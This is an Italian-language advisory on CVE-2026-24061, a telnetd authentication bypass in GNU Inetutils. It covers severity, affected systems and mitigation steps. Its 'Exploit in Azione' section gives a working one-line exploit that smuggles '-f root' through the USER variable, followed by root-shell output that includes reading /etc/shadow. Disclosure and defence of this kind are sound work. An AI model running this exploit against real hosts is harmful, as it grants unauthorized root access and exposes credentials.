🚨 CVE-2026-24061 — “TelneTD”

Bypass critico dell'autenticazione remota in GNU Inetutils telnetd
Il fantasma del 2015 è tornato per possedere tutto ciò che esegue ancora telnet.

Zero autenticazione. Una variabile d'ambiente. Shell root immediata.

⚠️ Panoramica

CVE-2026-24061 è una vulnerabilità critica di escalation dei privilegi remota in GNU Inetutils telnetd ≤ 2.7.

Un attaccante remoto non autenticato imposta la variabile d'ambiente USER a "-f root" tramite l'opzione Telnet NEW-ENVIRON.
telnetd la passa non sanificata direttamente a /bin/login → login vede -f root → salta tutta l'autenticazione → fa cadere l'attaccante in una shell root.

Il codice pericoloso è rimasto silenzioso nell'albero per quasi 11 anni (dal ~2015).

"Una var d'ambiente. Nessuna password. Root completo. Benvenuto nel 2026."

🔥 Gravità e Impatto

• Punteggio base CVSS v3.1: 9.8 / Critico
  AV:N / AC:L / PR:N / UI:N / S:U / C:H / I:H / A:H
• Vettore d'attacco: Rete (TCP/23)
• Privilegi richiesti: Nessuno
• Interazione utente: Nessuna
• Maturità dell'exploit: Banale (una riga funziona da qualsiasi client telnet)

Realtà a marzo 2026:

• Scansioni di massa e sfruttamento osservati da fine gennaio
• Dispositivi embedded legacy, apparecchiature OT, server di test dimenticati ancora spalancati
• Compromissione totale del sistema: credenziali, persistenza, punto d'ingresso per ransomware

🕵️ Scoperta

• Segnalato privatamente ai maintainer GNU a metà gennaio 2026
• Divulgato pubblicamente tramite oss-security a fine gennaio 2026
• Corretto in GNU Inetutils ≥ 2.8 (rilasciato poco dopo la divulgazione)

🔬 Analisi Tecnica Approfondita

Quando telnetd riceve un'opzione NEW-ENVIRON contenente:

USER=-f root

Aggiunge il valore direttamente a argv passato a /bin/login:

execve("/bin/login", ["login", "-f", "root", ...], ...)

Il binario login interpreta -f root come:
"questo utente è già autenticato come root — nessun controllo password necessario."

→ L'attaccante ottiene il prompt #. Game over.

Scelta progettuale fatale: l'inoltro di -R / variabili d'ambiente non è mai stato limitato agli utenti autorizzati.

📅 Cronologia

🖥️ Sistemi Affetti

Versioni vulnerabili: GNU Inetutils telnetd 1.9.3 – 2.7
Obiettivi comuni nel 2026:

• Controller industriali legacy e HMI
• Vecchi router, switch, stampanti
• Apparecchi embedded derivati da Debian
• VM e container di sviluppo/test dimenticati
• Gateway OT che espongono ancora TCP/23

Sicuri:

• Sistemi con busybox telnetd
• Inetutils ≥ 2.8
• Telnet completamente disabilitato / protetto da firewall

💥 Exploit in Azione

Comando one-liner (qualsiasi Linux/macOS con client telnet):

USER="-f root" telnet -a 192.168.1.50

Output tipico:

┌──(attacker㉿kali)-[~]
└─$ USER="-f root" telnet -a 192.168.1.50
Trying 192.168.1.50...
Connected to 192.168.1.50.
Escape character is '^]'.

Debian GNU/Linux 12 telnetd

root@legacy-box:~# whoami
root
root@legacy-box:~# id
uid=0(root) gid=0(root) groups=0(root)
root@legacy-box:~# cat /etc/shadow
...

Con un solo Invio — accesso root completo.

🛡️ Verifica e Mitigazione (Marzo 2026)

1. Rileva servizio vulnerabile

telnet localhost 23   # look for inetutils banner
inetutils-telnetd --version   # vulnerable if ≤ 2.7

2. Disattivalo (preferibilmente per sempre)

systemctl disable --now inetutils-inetd   # or telnet.socket
pkill telnetd && chmod -x /usr/sbin/telnetd

3. Aggiorna (solo se devi tenere telnet — raro)

sudo apt update && sudo apt install --reinstall inetutils-telnetd   # → ≥2.8

4. Firewall (cintura e bretelle)

iptables -A INPUT -p tcp --dport 23 -j DROP
ufw deny 23/tcp

📈 Stato — Marzo 2026

• Lo sfruttamento continua contro dispositivi legacy non patchati
• L'uso di Telnet ai minimi storici — ma ancora letale quando presente
• Lezione per l'ecosistema: i protocolli legacy sono mine vaganti

🎓 Lezioni Scolpite nella Pietra

• Bug di 11 anni si nascondono ancora in codice "morto"
• Non passare mai input utente non sanificato a binari che generano root
• Iniezione di argomenti → root è senza tempo
• Telnet avrebbe dovuto morire nel 2010. Uccidilo nel 2026.